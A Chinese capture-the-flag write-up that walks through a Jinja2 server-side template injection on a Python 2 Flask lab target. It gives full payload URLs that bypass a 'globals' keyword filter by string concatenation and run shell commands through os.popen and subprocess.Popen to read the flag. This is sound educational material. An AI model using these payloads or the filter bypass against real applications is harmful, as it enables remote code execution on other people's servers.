知识点:
一、此题为python2 jinjia2 ssti模板注入,此题过滤了globals用+拼接绕过即可。
二、利用<class ‘subprocess.Popen’>这个类来RCE,在python2和python3的过渡中subprocess.Popen与popen功能类似且调用时不会使用globals。
题解
方法一:
打开界面查看源代码发现

提示用get方法向search传参
发现1会回显在页面上
结合题目名字由此猜测此题与ssti有关
尝试payload,证实确实是ssti

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()}}
查找很多都没有对应的模块啊
找到71后发现无法使用到globals时无回显,遂猜测是否过滤了globals

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27]}}
成功绕过 继续
http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27ls%27).read()}}}}

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27cd%20flasklight;ls%27).read()}}}}

http://79c0484f-fc89-4cff-b375-816c7530d959.node4.buuoj.cn:81/?search={{%27%27.__class__.__mro__[-1].__subclasses__()[71].__init__[%27__glob%27+%27als__%27][%27os%27].popen(%27cd%20flasklight;cat%20coomme_geeeett_youur_flek%20%27).read()}}}}
方法二:
globals被过滤,选择不使用globals的子类
则subprocess.Popen十分适合
subprocess.Popen用法:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
本文详细介绍了Python SSTI(Server-Side Template Injection)漏洞的利用方法,包括如何通过`<class 'subprocess.Popen'>`进行RCE攻击。在面对globals过滤的情况下,通过字符串拼接的方式成功绕过,并展示了利用`subprocess.Popen`执行系统命令的payload。此外,还提供了两种不同的解决方案,展示了如何在globals被过滤时,依然能够利用其它子类进行攻击。
1712

被折叠的 条评论
为什么被折叠?



